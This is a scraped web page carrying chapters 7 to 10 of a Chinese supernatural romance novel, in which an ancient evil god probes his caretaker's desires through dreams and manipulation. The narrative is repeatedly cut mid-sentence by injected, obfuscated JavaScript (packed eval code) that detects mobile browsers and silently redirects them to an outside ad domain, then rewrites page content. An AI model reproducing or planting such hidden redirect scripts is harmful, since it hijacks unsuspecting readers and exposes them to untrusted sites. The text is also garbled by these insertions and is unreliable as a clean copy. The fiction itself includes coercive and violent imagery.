RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115117|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主意识，智商约等于野兽的蚩双流，正在尝试侵入他人的梦境，审问对方的来意。 白淼还是第一次看到他亲自使用异能，她呼吸略感急促，有些慌乱地挪开视线。 早在几个月前，她就知道了一件事——蚩双流其实是高等智慧生物，他的智商甚至远超人类。 那时蚩双流刚刚苏醒，她的异能十分特殊，即便等级较低，也被派去对他进行研究和实验，出于好奇，她对他使用了B级异能——窥心，其实这是一个攻击型异能，并且有着很强的副作用，正常情况下是不允许随意使用的，但对她来说，蚩双流只是一件死物，一个用来做实验的道具。 事情就出在使用异能的那一瞬间，血腥暴乱仇怨贪婪嫉妒瞬间涌入她的脑海，她无法承受如此多的恶意和欲望，她耳朵眼睛鼻孔齐齐出血，立刻昏死过去。 等她醒来之后，手臂上就多了一只眼睛——这是她尝试对蚩双流使用异能的代价，也是他对她种下的诅咒。 他能通过这个诅咒对她下达指令，她几次尝试摆脱蚩双流的控制，无一例外，每次都以失败告终。 有一次她基因病发作，在绝望中选择了自杀，那天她整个人泡在浴缸里，用特制刀具划破了手腕，随着血液涌出，她终于失去了意识。 本以为一切就此终结，没想到昏蒙中，她再次睁开了眼睛，她的手腕光洁如新，没有任何伤痕，浴缸里也没有任何血迹。 ——她看向挂钟，时间回溯了十分钟。 她还有利用价值，蚩双流不允许她擅自结束自己的生命。 这也说明了，蚩双流还拥有时间和空间的异能，那一刻，白淼简直无法形容自己的恐惧。 ——一个能力近似于神明，却血腥残暴，恶毒狡诈，视人类为下等生物，对人类满怀恶意的邪神。 从那之后，她彻底认命，开始了老老实实给蚩双流打工的二五仔生涯。 回忆完这些，白淼在心里帮沈润祈祷了一下——希望她在梦里不要说不该说的做不该做的，不然今天很有可能就是她的死期。 花了几分钟回忆完毕，白淼这才鼓起勇气，重新把目光投向屏幕。 然后她就看到了震撼人心的一幕——就在沈润的床边儿，蚩双流微微皱起眉，长睫垂下，美丽的脸上浮现出一个类似于困惑的表情。 这还是他第一次流露出这种人类特有的表情。 白淼：“？” 沈润在梦里干啥了？ 7.第 7 章 众所周知，沈润是一个非常心大且一根筋的人，这种基本属性决定了她很少做梦，睡觉崩提多踏实了。 但这次午睡是个例外。 再睁开眼睛的时候，环境还是她熟悉的那间用来午休的卧室，但沈润却本能地感觉到了一丝不对头。 卧室的光线一点点黯淡下来，黑暗仿佛有了自主意识，慢慢地翻滚涌动着，四面八方蚕食着仅存的光线。 浓稠黏腻的黑暗中，一道冰冷粘稠的视线投射过来，悄无声息地附着到了她身上。 这是属于高维生物的目光。 感受到绝对猎食者的注视，刻在基因里的动物本能被唤醒，沈润打了个激灵，赤着脚想往外跑。 脚腕忽然一紧，一根紫黑色的，长满吸盘的触足拴住了她的脚腕。 沈润踉踉跄跄地跌坐到床上。 触足沿着她的小腿一圈一圈向上，来到膝盖，轻轻掠过大腿内侧，沿着腰背一路向上，终于攀上了她的肩头，灵巧地绑缚住了她的两只手腕。 很快，她的双手双脚被绑在了一起，失去平衡之后，她有些狼狈地倒在了床沿。 不是，为什么她会被一只烧烤大鱿鱼缠上？？难道这就是她铁板鱿鱼吃太多的报应，那些鱿鱼的怨灵找她报仇来了？？ 沈润吓了个半死，开始剧烈挣扎起来，至于黑暗中响起的脚步声她都没听见。 脚步声慢慢迫近，那道冰冷粘稠的视线也随之逼近。 终于，脚步声停了下来。 不是因为离去，是祂来到了她的床边。 沈润慢慢地停止了挣扎的动作，心跳却骤然加速，安静到窒息的卧室里几乎能听到她心脏撞击胸腔的砰砰声。 卧室里仅存的光线仿佛有了生命，它们流动起来，汇聚到床边人的身上。 沈润终于看清那道视线的主人，她呆了呆：“蚩哥？” 这人倒是蚩双流这个人，但衣着神态和她全职照料的蚩双流完全不同。 他完全不似往常那副面无表情的动物状态，他微微含着一缕笑，唇角弧度完美，仿佛用量角器量过一般，乍一看勾魂摄魄，看多了就有种让人毛骨悚然的伪人感——仿佛非人类在模仿人类的表情。 他穿了件儿样式很古朴凝练的袍子，看着像是夏商周时期的衣着。 沈润彻底跟不上这剧情了，眼睛直愣愣地看着他身上的袍子。 蚩双流也跟着看了眼自己的衣着，温和笑笑：“啊，抱歉呢，太久没和人类接触，忘记这不是现代人类的穿衣风格了。” 他手掌在胸口轻轻一按，古朴的广袖长袍立刻替换成了西装革履，西装的腰线收紧，里面还搭了一件修身的马甲，勾勒出他挺拔的身形。 他风度翩翩地询问：“现在呢？感觉好些了吗？” 沈润的cpu都快干废了，缓缓吐出一个字：“...啊？” 怎么又突然开始了奇迹暖暖剧情？这算什么？奇迹流流？ 她云里雾里地坐起来：“蚩哥...你干嘛呀？这到底是咋回事啊？” 虽然眼下的情景很诡异，但蚩双流表现出来的和蔼体贴削弱了沈润的恐惧感，她本能地向蚩双流询问情况。 “不用紧张，你是在梦里。”蚩双流轻笑了声，打了个清脆的响指，一把椅子出现在他的身后，他姿态优雅地坐下：“我有几个问题想要问你。” 他手指轻轻一勾，绑缚住沈润右手的触足立刻上移，布满吸盘的尖端压在了她的颈动脉上。 他手指恶劣地轻轻下压，触手的尖端也随之压紧，脖颈上传来了窒息的压迫感，沈润立刻感觉到了呼吸困难。 蚩双流欣赏着人类因痛苦而脆弱的表情：“抱歉，为了我们等会儿的沟通能更加顺畅，我不得不让你提前感受到一下说谎要付出的代价。” 他说这话的时候微微蹙起了眉，流露出一副极为生动的，怜惜不忍的表情，仿佛真的在为不得不伤害沈润而痛心一样。 片刻之后，他才稍稍抬起手指，微笑着道：“第一个问题。”他竖起一根手指：“你来到这儿的目的是什么？” 在他主宰的梦境中，沈润好像失去了说谎的权利，她本能地回答：“这里给交六险一金...” 蚩双流：“...” 与世隔绝太久的邪神显然不理解社保对现代社畜的意义，他微怔了下，若有所思地揣测：“六险一金是...某种特殊的黄金吗？” “不是，”沈润幽幽地道：“是住房公积金。” 虽然会显得自己像个蠢货，但蚩双流顿了一下之后，还是忍不住发问：“那是什么？” 沈润：“...就是公司帮你存的，拿来买房的钱。”她又道：“而且陆董开的工资很高啊，节假日正常放，逢年过节还有红包和福利，干满一年还能拿到期权和股份。” 蚩双流：“...” 短短一句话里包含了数个他完全听不懂的名词，他表情微滞了一下，只能自己进行归纳和汇总：“所以你是为了...钱，房子以及能正常休假？” 沈润表示肯定：“...啊，可以这么说。” 蚩双流有种被侮辱到的感觉：“...” 在他主导的梦境里，沈润有任何隐瞒或者说谎的行为都会被他感知到，他忍不住又感知了一遍，再次确定了她说的完全是真的。 跟之前那些为了得到力量，为了研究异能，为了争权夺利，为了毁灭世界的人相比，沈润的回答朴实无华得有点过头。 蚩双流沉默了会儿，终于再次开口：“第二个问题，”他看向沈润，托腮含笑：“你的欲望是什么？” “光宗耀祖，出人头地。” 沈润忽然忧郁起来：“虽然在太阳伞开的工资挺高，但在我们老家那边儿，只有当上公务员才能上桌吃饭，而且我已经是入党积极分子了，等拿到期权之后我想去考编制，又不知道这么做对不对。” 作为职场菜鸟，她有着菜鸟特有的通病——管不住嘴，别人问一句她恨不得把自己祖宗十八辈交代出来。 她看着蚩双流，特诚恳地请教：“蚩哥，你有什么建议吗？” 不知不觉跟猎物聊起职业发展规划的邪神：“...” 这次他足足静默了半分钟，才再次开口：“你的欲望真的只有这个吗？” 沈润有些不解地看向他，缠绕在她脖颈上的触手再次上攀，轻轻抬起她的下巴，遍布吸盘的尖端沿着她的唇线来回描摹，又轻轻在唇缝间叩击，跃跃欲试地准备入侵。 他俯身，神色蛊惑： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123317|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “上午在客厅的时候，你盯着我的嘴唇看了三秒...”他微笑着问：“你在想什么？嗯？” 他说话的时候，饱满美丽的‘m’型唇开开合合，舌尖跟随吐字翻动着，搅动的水声伴随着他的话音从精致的唇中传出，撩人极了，仿佛一场蓄意的勾引。 沈润眼前微恍，再次感到了呼吸困难，这次却不是因为触手的缠绕。 触手的尖端随之停住，轻按着她的下唇，她有些艰难地开口：“蚩哥，我说了你别生气...” “我为什么要生气？”他唇角微勾，一点一点倾身而下，让自己的唇和她的唇持平：“也许我会满足你的欲望。” 沈润深吸了口气，鼓足勇气：“蚩哥，吃完早饭要刷牙的，你...”她尽量委婉地道：“额...要尽量保持口腔卫生。” 蚩双流：“...” 她还没来得及解释原因，按在她唇上的那根触手仿佛恼羞成怒了一般，强制地撑开她的唇齿，暴烈地刮过她的齿列，沿着口腔不断深入。 想也没想，沈润狠狠咬了下去，阻止了他的强制入侵。 蚩双流脸色微冷，微微抬手，沈润消失在他眼前——他提前结束了这场梦境。 没有了观众，蚩双流也不必自我掩饰，他脸上温和的，蛊惑人心的表情全然消失，脸上没有任何多余的表情，就连眼睛都彻底变成了深渊一般的纯黑色。 他低头看了眼指尖的齿印。 很快，他表情略带厌恶地抹去了人类的痕迹，指尖光洁如新。 梦境空间仿佛还残留了一丝她的气息，蚩双流轻弹手指，驱散了最后一丝气味因子，这才垂下眼，缓缓思考起来。 如果不是嗅到她血脉里那一点熟悉的气味，如果不是她的出现安抚了他体内蠢蠢欲动的禁制，他简直不能相信，这居然是蚩氏的后人。 这个蠢得挂相的人类女性，居然是那个强大的，阴险的，背叛他之后又给他下了最歹毒禁制的蚩氏的后人。 不过...这样也好。 蚩双流缓缓睁开眼。 这样更方便他利用她安抚禁制，甚至可以利用她找到解开它的办法。 他无声地抚了抚脖颈。 后退一步，整个梦境空间如轻烟一般消散一空。 ...... 虽然午休有俩小时，但沈润睡了不到一个小时就起来了。 有蚩双流在，她当然不可能记住自己做了什么梦，但她摸了摸后背，发现自己后脖子全是冷汗。 她想不出原因，只能归结为空调温度太低，她用遥控器把房间的温度调高了点儿，又喝了几杯水平复心情，然后才出了卧室。 蚩双流还在窗边儿坐着，保持着上午那个姿势，就连沈润出来他也没回头看一眼。 下午要做的工作有娱乐丰荣活动——简单来说就是陪玩。 沈润目光搜寻了一圈，拿起蚩双流昨天拿在手里抛接的彩色皮球扔过去：“蚩哥，接着。” 蚩双流头也没回，伸展手臂，单手接住了那颗球。 下一秒，他当着沈润的面儿，活生生捏爆了这颗看起来很结实的皮球。 沈润：“...” 虽然不知道为什么，但感觉蚩哥突然有点看她不顺眼。 8.第 8 章 计划表上写着蚩双流八点得准时上床睡觉——其实他几点睡觉倒没什么关系，但这就跟训狗是一个道理，陆阔认为得通过训练增强他的服从性。 所以沈润尽职尽责地等到他上了床，帮他拍松枕头，盖好被子才打卡下班。 根据蚩双流的指令，白淼今天值夜班，在她震惊的目光中，蚩双流掀开被子起身，打开了客厅里的那台电脑——电脑本来是给沈润准备的，方便她及时记录蚩双流的身体数据。 他按下了主机的开关键，缓慢地挪动鼠标打开浏览器，又像老太爷那样，一个手指头一个手指头输入文字。 白淼：“...” 不是，邪神还会用电脑？？还会打拼音？？ 她有种自己太爷掀开棺材板网上冲浪的震惊。 更让她震惊的还在后面，蚩双流很快熟悉了电脑的使用方法，指尖轻轻在机械键盘敲击，很快输入了‘六险一金’‘住房公积金’‘公司薪酬福利’‘编制’‘入党积极分子’等等关键名词挨个进行搜索。 他滚动鼠标，认真地浏览着搜索出来的信息。 人类和邪神的悲欢并不相通，白淼只觉得恐惧，她的一张冷淡厌世脸都被冲击得呆滞起来。 怎么着？你是觉得在太阳伞不稳定准备去考个编祸害公家了？？都这么大岁数了还想着进体制内，这就是最美不过夕阳红吗？ 这算什么？万年老登再就业活动？邪神其实有一颗闪闪红心？ 白淼以为自己熬夜熬太久出现幻觉了，正要调大画面细看，蚩双流似有所感，微微抬眸，瞥了监控一眼。 来自高维生物的凝视让白淼心脏一紧，她连忙把好奇心拾掇好，关上屏幕不敢乱看。 争强好胜的邪神不能接受被人类问倒的事实，在得到自己想要的信息之后，蚩双流若有所思地关了电脑。 之所以对沈润格外关注，是因为他从沈润身上嗅到了一丝精纯的蚩氏血脉。 他和蚩氏的纠葛要从数千年前说起。 他是沉睡在高维宇宙的神明，他自己也说不清，是他创造了宇宙，还是宇宙缔造了他，在近乎永恒的时光之后，高维宇宙也走到了终点，开始坍塌和毁灭，在这场宇宙大爆炸中，他遭到重创，所剩的力量百不存一。 他需要一个安静的地方疗伤，在一个又一个时间轴穿梭之后，他来到了维度较低的地球——那个时候他的状态已经差到无法控制自己的力量，他的到来对于这个星球的原住民来说是场灾难，很多人因为看了他一眼，甚至只是间接地了解到他的存在，就会遭受莫名其妙的灾厄。 不可名状，不可直视，不可被定义。 幸好这个星球也有庇护的神明，这是一个神明和人类共存的时代，那些神明联手封印了他——对此他没什么感觉，那时候的他还是绝对理性的，地球神明封印他的理由很充分。 很快，意外就开始了——人类文明由最开始采摘耕织的母系文明，逐渐发展为封建专制的父权社会，男性窃夺权利的过程残暴而血腥，很快，血色笼罩了这片大地，神明试图挽救，却无法对抗天道，最终，他们抛弃了人类，飞升到了更高维度的空间。 人类失去了神明的庇护，于是通过修炼的方式，企图再造神明，但无论人类怎么努力，终究不能和那些混沌之中诞生的真神相比。 就在这个时候，蚩氏通过神明留下的蛛丝马迹找到了他，他自称大巫，请求蚩双流赐给他力量，作为交换，等到他大道得成之后，他会想办法为蚩双流解开封印，还他自由。 蚩双流答应了他，赋予了他远超凡人的力量，或者用现代的话来说，这叫‘异能’。 事实证明，那时候蚩双流并不知人性为何物。 十年后，他等来的不是自由，而是一场杀戮。 蚩氏通过人祭和血食的方法修炼，力量越来越强，他带着部落的强者来到蚩双流的封印之地，却没有履行诺言的打算。 ——他们给蚩双流找到了更好的去处，他们的肚肠。 为了获得更强大的力量，他们分食了他。 他们设法抽出了他的精神体，但由于高维神明的精神体无法销毁，他们只能设下禁制，修建巫庙，利用信仰之力世世代代地压制他，削弱他。 当时蚩双流还有一丝残存的意识，他就这么看着自己的身体被人剥皮拆骨，吃入腹中。 ——憎恨，愤怒，痛苦，暴怒，这是他第一次感知到的情绪。 残暴，血腥，贪婪，欺骗，背叛，这是他对人类的基础印象。 在之后的数千年里，这个基础认知并没有被打破，反而不断地加固。 蚩氏因为统治手段血腥，百年之后，终于被其他部族联合消灭，但这所巫庙却保留了下来，成为了帝王将相和一些特定人群才知道的秘密，这个秘密世代流传了下来。 不知道从什么时候起，这些人会来到巫庙许愿，许下无数个肮脏的，黑暗的，见不得光的愿望。 他见过父亲为了谋求重利，不惜把儿女推入盛满沸水的大釜，令诸人分食，举行了一场人祭。 他见过丈夫为了另娶高门妻，污蔑妻子在庙中私通情郎，他把被迷晕的妻子捉出来，在她身上铺上干草，点火将她生生烧死。 他见过统治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126912|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者为了江山稳固，耗费人力物力锻造至尊铜鼎，又把十数奴隶推入锻造池，美其名曰人血造神器。 日月照常轮转，四季如旧更替，人类却总有新花样来折腾自己的同类，在这场旷日持久的大戏中，他终于堕落腐烂，他学会了欺诈，矫饰，学会了伤害，杀戮以及...复仇。 最开始，他是没有激发人欲望的能力的，但在人类日复一日地血腥浇灌中，他获得了这种能力，但因为蚩氏设下的禁止，他无法直接对人类出手。 ——但禁制并非完全没有空子可钻，只有在人类对他起了恶念的时候，他才能进行回击，所以他利用欲望之力，勾起人心中的恶意，在这样的狩猎中，他的力量终于得以缓慢地恢复，只是还不足以冲破禁制。 十多年前，地球迎来了一场特大的陨石雨，封印他的庙宇被陨石砸中有所松动，他抓住机会得以离开，又用蓄积的力量为自己锻造了一具完全符合人类审美的身体，然后撬动因果，引来了太阳伞公司，又做完最后一件事，他放心地陷入沉睡。 苏醒之后他才知道，人类已经进入文明社会，他本来以为会有些新鲜事儿——事实正相反，人类还是千百年来的那个德行。 陆阔的父亲日渐衰老，他从蚩双流身上看到了永生的希望，后来又被他的力量吓破了胆，想方设法试图销毁他。 陆阔是个野心勃勃的资本家，一直试图参政夺权，他曾利用资本操纵多个小国的内政，让多个国家民不聊生，也因此惹来无数仇家，为了保命，为了操纵政坛，他一直渴望掌握类似核威慑的力量，明知道蚩双流危险至极，却还是想方设法地要驯化他。 白淼为了治疗自己的基因病，毫不犹豫地让一些低阶异能者和普通人作为试药工具，就是因为她的傲慢和冷漠，最终成为了被种下诅咒的奴隶。 第五个A级强者死于色 欲，第七个S级强者想要突破登基，所以利用自己的异能试图吞噬他。 欲望催生恶意，这些人要么被他杀死，要么沦为他的奴隶。 人人都是如此，沈润又有什么例外呢？ ——更不用说她还是蚩氏的后人，那个阴险歹毒，为了获得力量不择手段的蚩氏的后人。 他需要操纵沈润，找出解开禁制的方法，然后...清扫人类，把地球变成适合他养伤的巢穴。 唯一的问题是...沈润的欲望是什么？她会有怎样的恶意呢？ 他很快会得到答案的。 蚩双流闷闷地笑了声。 ‘啪’的一声，他打了个响指，一切恢复原状。 ——就像什么都没有发生过一样。 9.第 9 章 快九点的时候，沈润才坐上公司的最后一班车，车子刚开出园区，她就觉得一道若有似无的视线落在了自己身上。 沈润回头看了眼，后排零零散散坐了几个研究员，都在低头刷着手机，但那种隐约被注视的感觉挥之不去。 她心里难得有点毛毛的，一下班车就匆匆跑回了老破小出租屋。 合租的舍友还没回来，屋里漆黑一片，她费力地把老式铁门拴好，裤兜里的手机忽然震了一下。 沈润吓了一跳，等看清来电显示屏上的‘妈’字的时候，提着的心才缓缓落回肚子。 她不自觉咧开嘴笑了：“妈？” 她摸着黑，边接电话边往卧室走。 电话那头传来略带乡音的女声：“小润啊，吃饭了没？” 问完之后，她也不在意沈润的回答，自顾自地抱怨起来：“...你堂哥又来找你爸借钱了，我才说了几句家里没钱，你爸气的差点动手打我，他就知道在亲戚跟前充面子，也不看看兜里那几个钢镚儿，转头又给你堂哥转了三万...你哥那女朋友也不省心，她家里说养出个大学生不容易，至少得要二十万彩礼，咱家哪来那么多钱，可你哥也到年纪了，总不能不结婚...” 电话那头传来纸巾擦泪的声音，她吸了吸鼻子：“还是我家小润好，最让人省心了，你以后可不能跟你爸和你哥似的，你得记得妈对你的好啊，以后妈就指望你了。” 这些天沈润为了找工作也累掉了半条命，但听她妈这么说，她还是立刻安慰：“妈你别胡思乱想，我不会的，我不对你好还能对谁好啊？” 沈妈妈又闲扯了几句——主要是她抱怨家里，沈润当她的情绪垃圾桶，等发泄完之后，她才有些犹豫地道：“小润...你能不能借妈妈点钱？” 沈润看了眼卡里两位数的余额，顿了下，一时没开口。 沈妈妈没等到沈润的及时回复，叹着气道：“家里那点钱都被你堂哥他们借走了，剩下的钱你爸又看得紧，妈现在手头连个买馒头的钱都没有...妈知道你在大城市工作，手头宽裕，不然妈也张不开这个口。” 她离职又欠债的事儿一直没敢跟家里说，她之前的客服岗有一定的销售性质，她又肯吃苦肯加班，所以收入还算可以，三五不时还能帮衬她妈一点儿。 陆董昨天看出来她经济不宽裕，私下给她转了三千，说是提前预支工资，只是她没好意思收，但眼下，她听到她妈过得那么惨，她也顾不得面子了，厚着脸皮收了那钱，转手给她妈转账过去。 ——幸好她现在吃喝坐车都有公司一手包办，甚至基地里还有专门洗漱休息的地方，不然撑不到下个月她得先饿死了。 沈妈妈收了钱，有些不好意思：“小润啊，最近过得怎么样？累不累？” 之前过得再不好，这会儿也算守得云开见月明了，沈润故作轻松，嗨了声：“妈我没事，你自己多注意休息，我爸啥事儿不管，家里的活儿都是你干，你腰上的老伤可得当心。” 她又叮嘱：“你有什么事记得告诉我，我来帮你扛着。”她咬了咬牙：“我扛得起。” 沈妈妈似乎有些感动，低应了一声，才挂了电话——只是从头到尾，她似乎没听出女儿话里的倦怠和疲惫。 和沈妈妈打完电话，沈润摸黑坐在床上，托着下巴走神儿。 ——从小她就知道，她在这个家里是不受欢迎的。 每年生日她哥永远都能在外面摆一桌，而她长这么大就没过过自己的生日，她哥喜欢吃米饭，家里一天至少做一顿米饭，她哥吃鸡喜欢吃鸡腿，她就只能吃没人要的鸡肋，明明她学习和体育都比她哥好，但她爸和所有亲戚眼里只能看得到她哥。 没人知道她喜欢吃面条，没人知道她不爱吃鸡肋，就像没人在意她大学想念的不是好就业的护理专业，而是能治病救人，救死扶伤的医学专业。 城里开第一家肯德基的时候，她爸兴高采烈地骑着电摩托带她哥进城去吃炸鸡，而她吃的第一顿肯德基，是在大学毕业之后，揣上自己第一个月的薪水，鼓足勇气推开了那扇贴着慈祥老爷爷图标的玻璃门。 ——在那个家里，和她有着一样境况的，就是她的妈妈。 因为她们有着相同的遭遇，有着一样不被待见不被理解的人生，所以她坚信，妈妈是懂她的，妈妈是爱她的。 她拒绝了她爸介绍的相亲对象，背井离乡来到大城市，她想证明自己比她哥强，再苦再累她也没有向她爸妥协一回，她想买大房子，赚很多很多钱，她想让爸妈离婚，把没工作没积蓄的妈妈从那个家里接出来。 让妈妈享福，让她过上好日子。 最累的时候，她一天要做18个小时兼职，就是这样的念头支撑着她熬过了失业的那段时间。 在她想的出神的时候，肚子忽然‘咕噜’叫了声，沈润记着橱柜里还有半包挂面，又摸着黑往外走，等到了厨房才舍得开灯。 这一开灯不要紧，等瞧清楚厨房的状况，她眼睛都瞪大了。 角落里堆放着几个鼓鼓囊囊的垃圾袋，其中一个破了个大口子，里面的汤汁淌得到处都是，水池子里放着七八个脏碗，还有杂物堵在出水口，两个锅也没刷，里面是油腻腻的菜汤。 ——一看就是她舍友方怡干的。 饶是沈润这种好脾气，这会儿血压都有升高的趋势。 她气的给方怡打了个电话，没到三声对方直接挂断了，她也不能不吃饭啊，只能忍着恼火把厨房收拾了一遍，又钯锅碗刷干净之后，这才终于吃上一口热饭。 有道是忍一时乳腺增生，沈润越想越火大，掏出手机继续给方怡拨电话。 等拨到第七八个的时候，电话才终于接通，方怡笑嘻嘻地道：“小润你还没睡啊？我现在在酒吧玩呢，等会儿我给你带宵夜...哎呀，干嘛啦？” 方怡娇嗔了一句，电话那头很快传来一道醉醺醺的男生：“别给方怡打电话了，我们忙着呢。” 然后又传来几声笑闹，‘啪’一声挂断了电话。 沈润的怒气值彻底达到顶峰。 其实最开始和方怡合租的时候，两人关系处的还挺好，经常一起买菜做饭，放假还一起出去玩儿——但自从她谈恋爱之后，这些彻底变了。 昼伏夜出影响她休息就算了，大不了买个降噪耳塞，忙着谈恋爱没功夫收拾公共区域她也认了，反正打扫又不费事儿，力气也不值几个钱。 但是把公共区域弄的这么乱却不收拾，这是不是也太过分了点儿？！ 沈润实在气不过，又打了几个语音电话过去，对方均未接听，这么一闹也十一点多了，她抱着手机，带着满肚子火气，批了条毛巾被在客厅沙发上睡了过去。 不知道睡了多久，门口突然传来钥匙链的清脆响声，沈润一个激灵，清醒过来。 她还以为是方怡回来了，撑起身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132810|163752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正要开口，‘啪’一声，客厅灯打开，一个染着黄毛的男人走了进来，身上还带着一股浓郁的酒气。 她脸色微变：“陈超？怎么是你？方怡呢？”她满肚子邪火儿彻底爆发：“我们合租之前都说好了，只许女生进来，方怡怎么能把钥匙给男人呢？” 这人是方怡男朋友，他耸了耸肩，无所谓的口吻：“方怡这两天住我那儿，托我帮她拿几件衣服和日用品。” 沈润脸色依旧不好看：“她自己怎么不回来拿？” 陈超停了停，笑得有些暧昧：“我俩办完正事儿，她累的睡着了，所以才使唤我来给她拿东西。” 他说完看了眼沈润，流里流气地笑：“你没谈过恋爱，情侣的事儿你不懂，你知道我俩刚才干嘛去了吗？” 沈润一进屋就换了身宽松的睡裙，这会儿也没穿内衣，就盖着一条薄薄的毛巾被，他目光从她白皙的脖颈和赤裸的双脚扫过，不由咽了口口水。 他试探着靠近：“小怡说你还是单身，用不用我帮你介绍个...” 沈润可半点不怵他，披着毛巾被站起来，居高临下地看着他：“你再靠近一步试试？” 这陈超穿鞋才170，沈润大学毕业那会儿就172了，这半年多又长了点，更别说，她从小运动神经发达，大学那会儿还是篮球社的，还在省里打过比赛拿过奖，身量匀称饱满，现在她身上还有马甲线和薄肌呢。 她人老实，可不代表她不会揍人啊，就陈超这样的，她揍两个都富余。 陈超的脸色都变了，干笑了声：“你别紧张，我就随便问问，小怡还等着我呢，我先走了。” 他草草收拾了几件衣物，匆匆离去。 沈润小心反锁好房门，怒气值再次上升了一个度。 虽然她不怕陈超，但大半夜家里进了个男人，搁谁谁能不发火儿？ 还有方怡，她凭什么把出租屋的钥匙给外人？！ 她甚至生出一个略带恶意的念头，要是这俩人倒个大霉就好了。 像什么走路上踩到粑粑啊，吃方便的没有调料包啊，路上遇到骗子被骗几百块钱啊。 沈润正在心里玩精神胜利法呢，手机忽然震了下，她打开一看，一个陌生的账号给她发了几段视频和聊天截图。 料条截图爆料了陈超还有女朋友的时候就和方怡好上的事儿，而那几段视频就是方怡和陈超的床上视频，尺度极大，说的话也异常露骨，简直不堪入目。 看机位，应该是陈超主动拍的，就是不知道方怡是否知情。 ——沈润和方怡是舍友，俩人的朋友圈重合率还挺高的，可以这么说，只要她把这些内容往朋友圈里一发，足够让这对儿情侣身败名裂。 沈润懵了。 ...... 陆阔一直认为，蚩双流不通人性，也没有人类的智商。 然而事实正相反，蚩双流是个怪物，也是玩弄人心的高手。 他标记了沈润。 在觉察到沈润稍稍外溢的恶意之时，他仿佛嗅到血腥味的鲨鱼，迫不及待地扑向了猎物。 他甚至动用了一点因果之力，把尖刀递到了沈润手里。 这只是一件小事，但他相信，一个人的欲望和恶意如果源源不断地被满足，那么欲望和恶意会不断滋长，最终她的恶意会不断膨胀，膨胀到可以被他奴役的地步。 他期待着她的选择，他期待着她的堕落。 10.第 10 章 沈润脑子懵了会儿，下意识地拨号过去，电话里却传来‘您拨打的电话是空号’的提示音。 她仔细翻看着这些图片和视频，表情渐渐严肃，似乎在思考着什么。 无视了空间的距离，蚩双流的目光投射而来，饶有兴致地等着她的报复。 从那个男人进门的那刻开始，她的恶意已经到达一个的峰值了，她没有理由拒绝这样不需要付出任何代价的报复行为。 ——实际上，沈润从头到尾想的都是，陈超拍这些照片方怡知不知道？ 这些照片一旦泄露出去，方怡一个女孩子会遭受到什么？ 因为头上有个哥哥，沈润从小就知道，这个社会对待男女一点也不公平，这些照片和视频如果流传出去，对陈超可能就是桩风流韵事，但方怡会遭遇什么真的很难说。 她皱眉想了会儿，谨慎地把视频和照片截了张长图过去，微信发给方怡。 担心方怡还睡着，她又拨了个语音电话过去，又很快挂断，为了提醒她看一眼微信。 没过多久，方怡的语音电话就拨了过来，话里掩饰不住的惊慌：“小润，这些视频和照片是谁拍的？你手里怎么会有？” 沈润：“我也不知道，一个陌生号码发给我的。” 慌乱中，方怡也抓不住重点，语无伦次地解释：“我没当小三，他和我谈的时候说他是单身，他怎么会骗我...” “这已经不是重点了，那些视频和照片才是。”她提醒了句：“陈超现在回去了没？你要不要检查一下陈超的手机和电脑？” 方怡和陈超虽然腻歪，但感情也不怎么深厚，激素上头的作用更大，何况偷拍的地方全是陈超家里，并不是酒店宾馆这些地方，她再恋爱脑也不得不面对现实。 听完沈润的话，她慌里慌张地翻看着陈超的电脑和手机，果然，在相册和D盘里保存了不少大尺度视频和图片，除了她，还有其他女生的。 ——更糟糕的是，有几个视频已经被陈超发到他的游戏群里，一群男的在底下嬉笑打趣，猥琐地品评她的身材长相，叫声够不够好听，扭起来够不够带劲儿。 方怡如坠冰窟，身体剧烈颤抖起来。 还是沈润叫了她几声她才回过神儿，她这会儿彻底六神无主，哽咽着道：“他已经把这些视频发给其他人了？小润，我该怎么办？我以后没脸见人了。” 沈润想也没想：“报警。” “可是，可是...”方怡有点怕事儿：“万一闹大了怎么办...” 沈润的直肠子完全理解不了她的脑回路，十分莫名其妙：“闹大？能比他把你的私密视频发群里还大吗？” 方怡被噎了下，抽抽搭搭地道：“我，我知道了...”然后就挂了电话。 